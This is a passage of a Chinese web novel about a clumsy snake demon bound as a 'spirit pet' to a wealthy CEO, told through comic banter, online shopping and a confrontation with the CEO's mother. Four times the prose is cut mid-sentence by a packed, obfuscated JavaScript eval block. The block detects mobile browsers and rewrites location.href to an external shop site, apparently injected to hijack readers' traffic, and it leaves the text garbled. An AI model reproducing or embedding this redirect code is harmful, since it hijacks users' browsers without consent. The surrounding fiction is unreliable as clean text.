青玉竹更怂了:“我,我真的不是故意的,我只是睡迷糊了……” “是吗?”乔昭笑的相当和平,“那你怎么没弄其他的契约呢?” 青玉竹理不直但气壮:“我不会其他的呀!” 乔昭:“……” 他怒气值积攒过程一时被打断:“……什么?” “我只会这一个契约。”青玉竹非常认真,“契约很复杂的,其他都好难学,我一直没学会。只有这个契约我学了好久!所以特别熟练!” 乔昭冷笑:“你还挺骄傲?” 青玉竹:“……” 他反应过来面前这人是他熟练技能的受害者,于是非常怂地又缩了回去。 “这个契约到底有什么作用?”乔昭揉着眉心,勉强冷静了下来。 “现在真的只有跟你说话这一个作用。”青玉竹小小声,“天地灵气现在很稀薄,契约的作用也几乎都不存在了。” 乔昭抓住了重点:“现在?以前难道不是?” 青玉竹立起身体:“那当然不是!” 灵宠契约功能很多,抛开其他细枝末节不谈,对灵宠来说,最重要的是契约一成便终生难叛,从此与灵主同生共死难得自由,但倘若灵主实力强大,那灵宠不仅天然有一个保护伞,分享灵主修为无痛进阶也不是难事。 乔昭听完只觉得不可思议:“你学这个难道是为了给别人当灵宠?” 你是只蛇妖又不是宠物猫狗! 青玉竹理所当然地点点头。 他本来就是一条普通的蛇,给自己找主人很奇怪吗? 他只不过是误食万年灵草开了灵智,炼化灵草的过程相当痛苦,如果不是仙君相助,他早就死在了药力之下,这让他对修炼产生了深深的阴影。 等他好不容易把药力压制住,跟随仙君回到了寒月宫,很快就发现了更加噩耗的消息——他不是修炼的料,他学什么东西都比其他小妖慢,一些复杂的术法甚至根本学不会。 而寒月宫内又有很多上古大妖的血脉……青玉竹一直很担心自己会因为没用而被仙君赶出寒月宫,没了仙君庇佑,他实力低微体内又有万年灵草药力,恐怕转头就会被谁抓去炼丹。 所以他花了很长时间刻苦学习灵宠契约,就是想要跟仙君缔结契约。 乔昭听他絮絮叨叨的说完,心头的火气倒是小了些:“那你和仙君的契约缔结成功了吗?” 青玉竹摇了摇头:“仙君说他不会跟我们缔结契约。” 白衣仙人当时喝得微醺,听到他的请求先是一愣,继而大笑,笑完了才摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032498|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸他的头告诉他,他收留众多妖怪在自己道场之中,不是需要他们认他为主,为他赴汤蹈火的。 “仙君说他只是给我们提供一个落脚之地,不管是谁都来去自如,若留他很欢迎,若走他也随意。”青玉竹老老实实地重复仙君的话,“所以我无需担心会被赶出寒月宫,想待多久都无妨,不用惦记这个契约了。那之后我也从来没离开过寒月宫。” 青色小蛇的声音逐渐低落:“……但现在我也不知道仙君去哪里了,还在不在。” 乔昭心头仅剩的火气被蛇妖可怜兮兮的样子扑灭了。 他好像突然明白蛇妖为什么会那么惧怕警察,恐怕他害怕的不是警察,而是害怕被抛弃后独自面对不可知的风险。 就像他以前担心自己被赶出寒月宫……那他现在也会害怕自己把他赶出家门交给警察吗? 这可能性只怕不小,乔昭难免有些心软。 “算了。”他轻轻点了点青色小蛇扁扁的脑袋,“原谅你了。” 诶? 青玉竹立刻精神抖擞:“真的吗?你不生气了吗?!” “跟你生气生的过来吗?”乔昭没忍住冷笑一声,“什么都计较早晚被你气死。” 青玉竹立的更高了一点,琥珀色的蛇瞳圆滚滚亮晶晶:“嘿嘿嘿。” 乔昭沉默一秒,没能忍住笑:“笑什么?” “饲主你是好人——”蛇妖拖长了声音,脑袋在他手指上蹭来蹭去,“我就知道我找饲主的眼光特别特别好!” 乔昭哭笑不得:“你这是夸我还是夸你自己?” “又不是不能都夸。”青色小蛇振振有词,“你是很好很好的饲主,我是很好很好的灵宠,我们都很好很好。” 乔昭:“……” 他在念经似的“很好很好”中揉了揉眉心,拿蛇妖一点办法都没有:“……先去吃点东西吧。” 青玉竹终于放下了“不小心把饲主变成了灵宠”的负担,相当快乐地爬到饲主肩上,准备和他一起下楼吃饭。 只是新开发的座椅不是很安全,青玉竹跟随乔昭的脚步晃晃悠悠,总担心自己要掉下去——于是他非常快速地爬到了乔昭头发里,牢牢缠住饲主的头发。 乔昭脸黑了:“……你给我下来!” “我不。”青玉竹一快乐就容易膨胀,在登高望远的视线里更加膨胀,倒反天罡地催促座驾,“快走,我好饿。” 乔昭:“我看你是想挨打了!” “饲主——”青玉竹拖长了声音撒娇,“蛇好饿好饿,马上要饿死了!” 乔昭:“……” 他只好顶着一只蛇下楼:“不要叫我饲主,很奇怪。” 青玉竹好奇:“那我叫你什么?你有道号吗?” “我有名字。”乔昭面无表情,“叫名字。” 那可不行。 虽然缔结了一个身份颠倒的契约,但青玉竹位置倒是摆的很正,连名带姓称呼饲主真的非常不礼貌。 对人间规矩没多少认识的青色小蛇苦思冥想,终于在自己看过的“乔总和她的四个男人”那里找到了答案。 “我知道叫你什么了!”青玉竹兴高采烈,“昭昭!” 乔昭下楼的脚步一乱,差点摔着。 18.养老送终好大儿 “什么昭昭,你不要乱叫!”乔总黑着脸训斥,搓了搓手臂上冒起来的鸡皮疙瘩。 从小到大就没人这么肉麻的称呼过他。 青玉竹很疑惑:“不能这样叫吗?” 他相当认真地看完了“乔总和她的四个男人”,后面发现那个“乔总”名字叫“乔莹”,她的四个男人都叫她“莹莹”。 青玉竹理解这应该是很亲密的叫法。 而他和饲主本来就应该很亲密,现在又缔结了主宠契约,应该更亲密才是,所以他当然可以叫饲主“昭昭”。 而且青玉竹相当大方:“你也可以叫我竹竹!” 猪猪还差不多……不,猪是智商很高的动物,说不准比这只蛇妖还聪明一点。 “你要不肯叫名字,就叫我昭哥吧。”乔昭很是疲惫地揉揉额头,不抱什么希望地纠正了一下蛇妖的称呼。 蛇妖不负他望:“我才不要叫你哥。” 乔昭额头青筋一跳。 “我马上要满一百岁了!”青色小蛇非常理直气壮,“你肯定没有一百岁,所以按年龄来算,你叫我哥哥还差不多!” “是吗?”乔昭不置可否,“蛇一般几岁成年?” 青玉竹愣了一下。 他的母亲在他还没破壳的时候就被捕蛇人抓走了,所以还真没有蛇告诉他几岁才算成年。 乔昭不动声色地说道:“你是妖,成年时间应该会比较久?” 青玉竹顺着这个思路一想也是,寒月宫里众妖大多三四百岁才成年,譬如另外一只蛇吞天蟒就是三百岁成年,但他只是一条普通的蛇,成年时间应该会比吞天蟒成年时间短一点…… 青玉竹犹犹豫豫地道:“……可能是一百岁?” 乔昭正经得像哄骗小红帽的大灰狼:“所以你还没成年对吧?” “对,对吧……”青玉竹不是很确定,但他应该还有一年才满一百岁,想想好像也没有问题,于是他的语气逐渐肯定,“对的!” “那按照人类的年龄来看,我已经成年很久了。”乔昭继续一本正经,“所以你这条未成年的小蛇,是不是该叫我哥哥?” 青玉竹开始思考。 青玉竹认真思考。 青玉竹思考完毕,认为饲主说的对,信服的点点头:“对的,哥哥。” 乔昭脚步一顿,面色变得有些古怪。 虽然是他在哄骗蛇妖,但蛇妖真的用那种低沉华丽的声线喊出“哥哥”两个字的时候,他竟然莫名有些耳热。 ……啧,看来坏事果然要少做,不然回旋镖来的太快了。 乔昭面不改色地顶着蛇妖回到了餐厅。 厨师已经把早餐摆上了桌,看见他过来,正要扬起笑容打招呼,视线触及他的头顶,表情顿时一僵。 乔昭见厨师的表情,下意识扭头看向了一旁的电视。 超大尺寸的黑色屏幕映照出他现在的样子——大致一切如常,除了头顶上有一坨青玉色的便便。 乔昭:“……” 他几乎是用尽这些年和股东会那些老狐狸周旋锻炼出来的功力,才勉强绷住了表情。 等厨师打完招呼离开,他才咬牙低声开口:“你给我下来!” 不用他叫,青色小蛇已经很自觉地从他头顶弹了下来,直奔袖珍肉包子而去。 “以后不准用那种姿势盘在我头上。”乔昭面无表情。 青玉竹一边大口吃包子,一边用契约回复:“嗯嗯嗯嗯。” 一看就完全没听进去。 乔昭沉默:“……” 不要生气,不要跟笨蛋计较,更不要跟笨蛋妖怪计较。 反复几遍,乔总终于哄得自己心平气和,优雅地喝了一口粥,才看向一旁的蛇妖:“还有一件事,你还记得洛茵吗?” 青玉竹吞咽的动作慢了一点,认真回想洛茵是谁。 “就是短剧上的那个女人。”乔昭提醒道。 青玉竹恍然大悟:“是狐狸姐姐!” “狐狸姐姐?”乔昭愣了一下。 青玉竹一边不歇气地吃东西,一边很是开心地向饲主介绍了一番自己的好伙伴,在乔昭脑海里叭叭个不停:“不知道为什么狐狸姐姐会出现在短剧里,而且还能保持住人形,我想找她问问秘诀,还有还有,我想知道她有没有见到仙君,知不知道寒月宫现在在哪里,大家都还好不好,我已经很久没有见到她、见到仙君、见到其他妖了,我很想他们……” 乔昭听着青玉竹的絮絮叨叨,一时陷入了沉默。 抛开洛茵居然是狐妖这个出乎意料的消息,他心头有种莫名的不是滋味:“你是不是很想回到寒月宫?” 从青玉竹努力学习就是为了和瑶光仙君缔结契约,还有现在直言不讳思念他在寒月宫的伙伴……乔昭确切地感受到了蛇妖的“一百岁”代表什么。 那是比绝大多数人类一生还要漫长的时光,是蛇妖过去的总和,他的思念无可厚非,他想回去也理所应当。 只是,不管什么原因,他不是已经离开寒月宫流落到吃不饱饭了的地步了吗?那些掌握超自然力量的仙神妖怪也不见得来救他,那还有必要这么心心念念吗? 自己也没短他吃喝啊? 乔昭不是很高兴。 青玉竹敏锐地感受到了饲主的情绪变化,有些茫然。 饲主为什么突然生气了? 还没等他想清楚,乔昭手指敲了敲桌面:“你还没回答我的问题,你想回到寒月宫吗?” 青玉竹收起疑惑,认真道:“我暂时不会回去了。” 乔昭一怔:“暂时?” “是呀,我现在是你的灵宠。”青玉竹提醒自己的新饲主,语气理所当然,“既然有了新饲主,自然应该从寒月宫离开,我要给你养老送终了之后再回去。” 突然多了一个要养老送终好大儿的乔总:“……” “你知不知道……”乔昭什么心思都没了,只剩下满心无力,“养老送终不是这么用的。” 青玉竹的思维显然拐到了另外一个方向上,他认真思考一会儿,蛇尾拍了拍饲主的手宽慰道:“你不用担心哦,虽然天地灵气已经很稀薄了,但我还是有很多寿数的,我肯定能活得比你久,一定能按你的要求办好你的葬礼的!” 乔昭:“……” 乔昭神情木然:“我现在不想讨论我的葬礼。” “那好吧。”青玉竹遗憾地收回尾巴,扭头奔向下一道美食,临走前不忘表达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036963|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决心,“哥哥你放心,我一定会陪伴你过完这一生的!” 乔昭:“……” 为什么他听到这句话一点都感动不起来? 还有这只蛇妖在遗憾什么?! 乔昭一言难尽地看了一眼把头埋在餐盘里的青色小蛇,等他把脑袋从食物里拔出来才问道:“认了新饲主就要离开,这是寒月宫的规矩?” 青玉竹分出来一点精力想了想:“仙君没有这么说过,只是有了新饲主的小妖都会拜别仙君离开,但不离开仙君也不会管,我记得有一个妖,他就和他的新饲主一起住在寒月宫里!” 蠢狗还非常不屑地评价那位饲主是吃灵宠的软饭。 “你知道吃软饭是什么意思吗?”青玉竹猛然想起这件事,目光炯炯地看着乔昭,“我问过蠢狗,他让我小孩子不要瞎打听。” 蠢狗又是谁?狗妖? 乔昭一边思索一边面无表情地糊弄:“小孩子不要瞎打听。” 青玉竹尾巴拍得啪啪作响:“我一百岁了!!” 乔昭一句话把他堵了回去:“你成年了吗?” 青玉竹:“……” 好可恶,为什么蛇妖不是九十九岁成年! 乔昭揉了揉眉心,把跑了十万八千里的话题拽回来:“你现在能确定洛茵就是你的狐狸姐姐吗?” 青玉竹频频点头。 乔昭皱着眉陷入了沉思。 如果青玉竹没有认错,那么洛茵作为一只狐妖,未必会受到龙鼎集团的钳制,也未必会出现在慈善晚宴这种权色交易的现场。 所以他如果要帮蛇妖见到他的这个伙伴,那就必须保证洛茵出场。 这可不太好办。 实话肯定没办法说,但如果不说实话,以他的身份极有可能给外界释放一种要潜规则洛茵的信号——这极有可能弄巧成拙导致洛茵直接不出现。 乔昭看向桌面上的青色小蛇,不太抱期望地问了一句:“你们之间有什么自己才知道的联络方式吗?” 青玉竹丝毫不辜负他的不抱期望:“没有呀,我们一般都是见面才说话的。” 乔昭:“……” 他深深叹了一口气:“我的意思是,你有没有什么东西,能让洛茵一眼就知道是你要联系她?” 青玉竹认真思考了一会儿,然后摇了摇头。 非要说的话,他身上还有一块仙君赐下的玉佩,但问题是这块玉佩的样式很简单,能证明他身份的仙君赐下的一缕剑气早就没了,光凭玉佩看不出什么东西。 乔昭又叹了一口气。 那就没办法,还是得把蛇妖带过去,至于洛茵,让徐秘书找个借口从龙鼎集团那边确认一下她的行程,实在不行那就只能以后想办法联系了。 乔昭正准备将这件事通知给徐秘书,让他想办法确认洛茵的行程,没成想他的电话还没拨出,徐秘书的电话先过来了。 乔昭接起电话:“什么事?” 徐秘书平静的声音中隐约透着一丝微妙的“毁灭吧累了”:“乔总,我刚刚收到的消息,乔老先生将携女伴和儿子乔矅出席龙鼎集团周末的慈善晚宴,冯女士也收到了邀请函将会出席,您看这件事……” 乔昭表情一顿。 19.当蛇知道了网购 徐秘书的话没有说完,隔着电话已经感受到了老板溢于言表的阴郁。 沉迷进食的青色小蛇同样感受到了什么,很快放下美食爬到饲主面前面前,扁扁的小脑袋拱了拱乔昭的手指,整只蛇缠了上去,脑袋靠在虎口位置看着他,很担忧的样子。 乔昭敛目,压了一下内心的戾气,摸了摸手上冰冰凉凉的小蛇,很平静地问:“为什么他们会拿到慈善晚宴的邀请函?” 徐秘书谨慎地答:“乔老先生的邀请函是龙鼎集团主动发的,而冯女士那边,似乎是听说乔老先生不打算带她出席后,通过龙董夫人的渠道拿到的。” 龙董就是龙鼎集团现任的董事长龙钦,和乔昭的混账爹乔衡算得上狐朋狗友。 乔昭语带嘲讽:“怎么,她还想在大庭广众在抓一次奸吗?” 徐秘书保持着沉默。 乔昭意兴阑珊:“明天下午两点让司机来接我,我去找冯女士。” “好的。”徐秘书顿了一下,又问道,“那乔老先生那边……” “扣下他的邀请函,顺便告诉他,最好记得乔氏在谁手里。”乔昭面色冷漠,“这种需要我擦屁股的事还有下次,他可以看看我会不会把老爷子的临终嘱托当回事。” 徐秘书应下后挂了电话。 乔昭放下手机,烦躁揉了揉眉心。 “你还好吗?是不是不高兴?”蛇妖的声音响在脑子里,关切直白而毫不掩饰。 乔昭心头略松,又摸了摸他:“没事。” 青玉竹“噢”了一声,犹犹豫豫地问道:“你明天要出门吗?” 乔昭“嗯”了一声。 青色小蛇开始在桌上欲言又止磨磨蹭蹭。 乔昭挑挑眉,静静地看着他,被惹出来的心烦意乱逐渐平息,转而升起的是“我看你想干嘛”的好奇。 过了一分钟,青色小蛇终于忍不住了:“我可以跟你一起出去吗?” 乔昭这下真的吃了一惊:“你居然敢出门?” “……”青玉竹再度把尾巴拍的啪啪响,“我为什么不敢出门!你看不起谁!” 乔昭一挑眉:“见到生人就躲起来的是谁?外边可全是生人。” 青玉竹一时语塞。 过了一会儿,他小小声地说:“可我不想一条蛇待着。” 他还记得来到这里时自己独自度过的一整天,那种空荡寂静的感觉太吓蛇了,他不想再经历一遍。 乔昭怔了一下。 虽然从蛇妖的只言片语中他推断出来这条蛇没什么安全感,但这个事实真的证实的时候,却让人莫名有些心酸。 “我明天要去我母亲那里,她住在市中心。”乔昭看着桌面上的青色小蛇,缓缓道,“虽然一路基本都在车上,但噪音会很大。另外,我母亲家里有很多帮她处理家务的工作人员……你不会害怕吗?” 青玉竹想象了一下那个画面,莫名打了个寒颤,不自觉地缠在饲主的手指上。 但他犹豫了一会儿,还是坚持要跟着一起。 既然这样,乔昭也没再说什么,颔首答应了下来。 青玉竹不太放心地用尾巴卷着他的手指:“你不会趁机把我丢掉的对吧?” 乔昭哭笑不得:“我为什么要丢掉你?” 青玉竹仔细一想,放心了:“也是,丢了我你上哪里去找我这么聪明的小蛇!” 乔昭欲言又止。 “而且有契约在,你丢不掉我!”青色小蛇又想起一个杀手锏,得意洋洋。 乔昭挑眉:“你不是说这个契约的作用只剩下跟我说话了吗?” “对呀。”青玉竹胸有成竹,“你要是丢掉我,我就在你脑海一直说话一直说话,让你吃不好睡不好,你怕不怕!” 乔昭:“……” 他一时啼笑皆非,只能点头表示自己被吓到了,绝对不会把他丢掉。 青玉竹高高兴兴地回了自己饲养箱。 这个只剩下说话功能的契约似乎真的给了他相当的安全感,青玉竹没了昨天的惶恐,很放松地在泡在饲养箱的水池里飘飘荡荡。 然后乔昭拿着蛇妖的手机敲了敲玻璃:“你今天的认字视频还没看。” 青色小蛇原地僵成一根蛇棍。 为什么! 我现在又不是不能说话! 为什么还要认字! 乔昭皱眉看着他:“你难道想当一辈子的文盲?” 见青色小蛇不情不愿地缩在水里,他又放缓了一点语气:“你不想看短剧了?认完字我就把青少年模式给你解开。” 青玉竹从水里爬了出来,动作慢得像蜗牛,然后非常小声地在乔昭脑海里蛐蛐。 “蛇本来就不认字,蛇本来就是文盲,蛇又不考大学……” 乔昭被他念得差点没绷住表情。 他咳了一声,把到嘴边的笑意咽下去:“今天可以只学两个视频。” 嗯? 青玉竹扭头看着饲主,眼神莫名渴望:“那没写完的字可以不写了吗?” 乔总微笑:“不行。” 青色小蛇气冲冲地爬走,气冲冲地开始学习,气冲冲地写完罚写的字,蔫耷耷地看短剧。 然后迅速被短剧抚平了一切伤痛,看得摇头晃尾。 …… 第二天下午两点,司机准时出现在别墅门口。 青玉竹躲在乔昭胸口的西装口袋里,只探出一双眼睛和半个脑袋。 这还是他找到饲主后第一次出门,非常紧张,又有种说不出来的期待。 徐秘书在看到老板的第二眼发现了他胸前口袋里的蛇,顿时陷入沉默。 据他所知,乔总怕蛇的毛病和冯女士一脉相承……这是被亲妈气疯了打算带着蛇去吓唬她吗? 乔昭不知道心腹爱将的污蔑,面色如常地带着蛇妖坐上了车,车辆启动,很快离开安静的别墅区。 青玉竹悄悄探头,悄悄再探头……最后整条蛇都从口袋里爬了出来,扒拉在车门上往外看,这是他醒过来第一次认认真真地通过自己的眼睛观察这个世界。 他有种莫名的预感,自己会在这个世界待很久很久,他迟早有一天要彻底了解和接纳这个世界。 而现在饲主正好在他身边,他可以放心地去观察。 窗外是他只在短剧上见过的风景,钢铁丛林,车水马龙,各式穿着的人们在街上穿梭,面色各异,但大多都在笑。 和他听说过的人间一点都不一样。 见他有些抓不住玻璃,乔昭伸手托住他,低声问:“怕不怕?” 青玉竹尾巴顺势缠紧乔昭的手指,隔着一层玻璃蛇仗人势:“我才不怕。” 乔昭微笑着点点他的脑袋:“那就好。” “那个红色的是什么?”青玉竹见到一个巨大的红色牌牌,忍不住好奇问道。 乔昭扫了一眼:“广告。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048063|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “广告?”青玉竹继续好奇,“广告是什么?” “广告就是通过特定形式向公众传达产品或者品牌的信息,比如那个就是X东的广告牌。”乔昭随口解释。 青玉竹听得半懂不懂:“X东是什么?” 乔昭答:“购物软件。” “购物软件又是什么?”青玉竹又听见了一个自己不认识的词语。 乔昭干脆拿出他的手机把X东点给他看:“你可以在上面买东西。” 青玉竹瞬间眼前一亮! 伸出尾巴在上面点点点后,他突然想起来一件事:“这上面买东西要给钱吗?” 乔昭好笑:“你说呢?” “可我没有钱。”青玉竹盘成委屈且渴望的一饼,“哥哥你有钱吗?” 乔昭:“……” 他很想让蛇妖别叫哥哥了,但这话一出口他又将面临和蛇妖就称呼问题的争论,最终只能听之任之:“我一会儿给你绑张卡。” 说完不等蛇妖询问,他就相当自觉地把网购方法和电子支付等等内容教给蛇妖。 然后就发现蛇妖学习能力在这方面相当惊人! 他忍不住把青色小蛇捡起来拿在指间:“你平时认字都不认真吧?” 青玉竹相当好脾气地在空中蜷缩着:“什么?” “认字怎么不见你学这么快。”汽车已经驶入了地下停车场,乔昭顺手把蛇妖放回口袋里,“好好呆着,我们要到了。” 青玉竹在口袋里转个身体,继续探出一个小脑袋:“不能怪我,你们的字好难认。” 但是X东上图片多,他学起来就快很多。 “这是哪里?”青玉竹看着外边突然灯光明亮的房子,依稀感觉他们好像到了地下。 乔昭有问必答:“停车场。” 原来这就是现实里的停车场! 青玉竹忍不住探出一点身体,看上去和短剧里看到的停车场有点相像但又不完全一样。 他东张西望的时候,车已经安稳停在了停车位上,乔昭开门下车,青玉竹非常叶公好龙地整个缩回了口袋里。 徐秘书紧跟着下来,目光没忍住在乔昭胸口鼓鼓囊囊的口袋里停留了两秒。 乔昭注意他的眼神:“怎么了?” 徐秘书:“……没事。” 他只是想问问老板,是不是心理疾病加重了……当然,并不敢真的问。 但老板的病理诊断不是焦虑症吗,难道最近新得了幻想症?还是说养宠物的人都这样? 怎么都发展到跟蛇说话还似模似样地教蛇网购了。 他一本正经地跟在乔昭身后进了电梯,率先按下“25”,然后不停用余光往后瞅。 青玉竹丝毫没发现饲主和他说话时在外人看来就是一个人自言自语,他没在电梯里感受到陌生人的气息,于是再度把脑袋探出来,目光炯炯地盯着电梯里的显示屏:“原来坐电梯是这种感觉。” 乔昭低头看了一眼胸口的蛇,压低了一点声音:“好好呆着。” “我好好呆着的!”青玉竹振振有词,“我就想学习一下坐电梯是什么感受。” 乔昭嘴角一抽:“这需要学习?” 徐秘书没忍住扭头看了一眼大老板。 乔昭抬眼:“?” 徐秘书果断扭头:“乔总,我们到了。” “叮——” 电梯在25层停了下来。 20.见世面 冯女士居住的高层公寓位于虞城最中心的成江区,堪称楼王。 也勉强能算是她上位之后乔衡给的奖励。 乔昭带着徐秘书安按响门铃,开门的是一个年轻干练的女性,是乔昭安排在冯女士身边的秘书小周。 她很快让开道路:“乔总,徐秘,下午好。” 乔昭微微颔首:“她呢?” “她在茶室里。”小周跟在他身后答道,犹豫了一会又道,“最近冯女士的心情一直不好,您……小心些。” 乔昭随意地点点头,很快到了茶室面前,敲了三下后直接推开了门。 正在摆弄茶具的冯薇抬起了头。 她已经快五十岁了,但看上去依然是位柔美而风情万种的年轻女士,面对不请自来的儿子,她冷哼了一声,态度相当不欢迎。 乔昭并不在意,举步进了门,徐秘书在门前止步,顺手把门关上,自己守在门口。 冯薇看着关上的房门,皱了皱眉:“你要干什么?” 乔昭一手插兜,在她面前站定,淡淡道:“乔衡去不了慈善晚宴了。” 冯薇立刻抬头,面容惊怒:“你什么意思?!” “字面意思。”乔昭很平静,“如果你还想去,那就让小周陪着你去,但不想要见到乔衡和他的情人。” “砰!” 乔昭一偏头躲开冯薇扔过来的茶盏,任由精致的瓷器砸在墙上摔成碎片,面色平静地看着她。 “你知不知道那个女人是谁!”冯薇气得胸膛不住起伏,“不知道的还以为她才是乔夫人!你不帮我也就算了,你居然还拦着我?!” 乔昭平静的声音说不出来的冷漠:“我不知道她是谁,但你也不是乔夫人,有什么好介意的。” 巨大的噪音猛然爆发,缩在乔昭西装口袋里的青色小蛇浑身一抖。 冯薇将茶桌上的所有器物都扫到了地上,指着乔昭的手微微颤抖着:“你,你再说一遍?!我争这个位置是为了谁?啊?!我是为了谁!!如果不是为了你……” “为了你自己。”乔昭提高了一点声音打断她,伸手隔着衣服安抚了一下团成一团的蛇妖,眼睛还是看着自己的母亲,“你是为了你自己。” 冯薇冲天的怒气顿时一噎。 “如果真的是为了我,当初你就不会把我生下来,更不会非要我加入老爷子的养蛊游戏。”乔昭看着她,略带嘲讽地一笑,“驯服一个浪子很有成就感吧妈妈?你想向谁证明你这么多年的努力没有白费呢?” 冯薇脸色乍红乍白。 “你想怎么跟乔衡闹,我不管。”乔昭淡淡道,“但慈善晚宴这种场合不行,现在乔氏掌门人是我,闹起来去善后的人也是我……我不想费心思,所以你最好安分一点。” 他站在自己的母亲面前,高大的身影几乎将她全部覆盖,语调不疾不徐,气度从容却摄人。 冯薇一时竟然不敢跟自己的儿子对视。 什么时候开始,那个跟在她身后怯弱清瘦的孩子已经长成这样了? 冯薇一时间有些恍惚。 但乔昭已经没了耐心:“我会通知小周,你的卡最近限额,等你冷静下来再让小周找我解卡吧。” 冯薇猛然抬头:“你什么意思?!” 乔昭冷漠重复:“字面意思。” 他看着冯薇的眼睛:“养育之恩也是可以还完的,妈妈……更何况你对我还谈不上多少养育之恩。” 冯薇僵在了原地。 乔昭没再理她,转身出了门,吩咐小周看好冯薇之后,带着徐秘书离开了。 直到关门的声音响起,茶室里才传来一阵砸东西的动静。 小周见怪不怪地守在门外,直到里面动静停歇了,才招呼保洁人员进去打扫——随便把损坏的情况整理好报给徐秘书。 “你妈妈好凶哦!”刚出公寓的房门,青玉竹迫不及待地在乔昭脑海里开口,语气有种劫后余生的庆幸,“好吓蛇。” 乔昭没什么笑意地牵牵嘴角,声音极轻:“吓到你了?我代她向你道歉。” “为什么要代她道歉?”青玉竹很不赞同,“又不是你的错。” 乔昭沉默了一会,轻轻一笑:“嗯。” 青色小蛇从口袋里钻了出来,三下五除二爬到了他的肩上,用力拉长身体,用小脑袋看着他。 徐秘书不动声色地退出去好几步。 乔昭伸手把他拿到手心,摸了摸他的脑袋:“怎么了?” “你和你妈妈关系好奇怪。”青玉竹在他手心里盘成一团,语气困惑,“我以为人类幼崽和母亲的关系都很好。” 以前寒月宫内关押有吃人的妖怪,他跟着蠢狗去审讯过他们,在那些妖怪口中,有的是人类父母为了救孩子自愿给他们吃的。 乔昭沉默了很久,才轻声道:“……你也说那是人类幼崽。” “嗯?”青玉竹敏锐地支起了身体,口气笃定,“你现在很不开心!是不是因为你妈妈跟你生气?她好过分!”‘ 他一副要出去咬人的模样。’ 乔昭没忍住笑了笑:“不是……我只是想到了以前的事情。” 在他还是个幼崽的时候,冯女士确实当过一段时间的慈母……虽然是为了哄他回乔家,但她起码装过一段时间。 而这么多年下来,很多时候他都觉得自己已经对冯薇彻底失望了——他可以面不改色地朝着冯薇最痛的地方插刀,狠辣得像是对待陌生人。 但他又总是忍不住想——现在他已经拿到乔氏了,可以给冯薇想要的荣华富贵了,那她会不会真的尽哪怕一点点母亲的义务呢? 可惜答案总是否定的,乔衡占据了冯薇太多的人生,她已经偏执成魔了。 青玉竹不知道以前的事情是什么,但感受到乔昭不怎么愉快的心情,他很有分寸地没有询问,而是在一边他手指上蹭来蹭去,一边碎碎念:“不要不开心,不要不开心,不要不开心……” 乔昭被蹭得很痒,收紧手指将青色小蛇箍在了手指中间:“别动。” “哥哥如果你心情不好的话……”青色小蛇琥珀色的蛇瞳定定地看着他,“可以跟我说哦!” 乔昭笑意微微:“跟你说有什么用吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054739|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我能帮你排忧解难!”青玉竹主打一个不管做不做得到但很自信,“这是灵宠的职责!” 乔昭摇头笑了笑:“你还是想想晚上要吃什么吧。” 青玉竹微妙地感觉自己被骂了,很不高兴地咬住乔昭的手指磨牙。 “啊……”徐秘书没忍住发出来一点惊呼。 青玉竹和乔昭一起看向了一旁仿佛空气的徐秘书。 徐秘书犹犹豫豫:“您……它没有毒吗?” 青玉竹放开饲主的手指,撑起脑袋,友好地吐了吐蛇信。 没有哦! “没有,而且他不会咬人。”乔昭摇摇头,手指轻轻拨弄了一下小蛇脑袋,“他在跟我闹着玩。” 徐秘书欲言又止止言又欲,最后委婉道:“乔总,您该和许医生约时间了。” 许医生是乔昭的心理咨询师,乔昭每隔一段时间就会固定和他见上一面,距离上次见医生已经过去一个多月了。 本来前几天就到时间了,但蛇妖的突然出现打乱了乔昭很多计划。 “那就约到慈善晚宴之后。”乔昭道,“时间你看着安排。” 徐秘书明显舒了一口气。 希望许医生能看看老板这妄想症是不是真的……不要再对着蛇自言自语了,真的很考验他的表情管理能力! 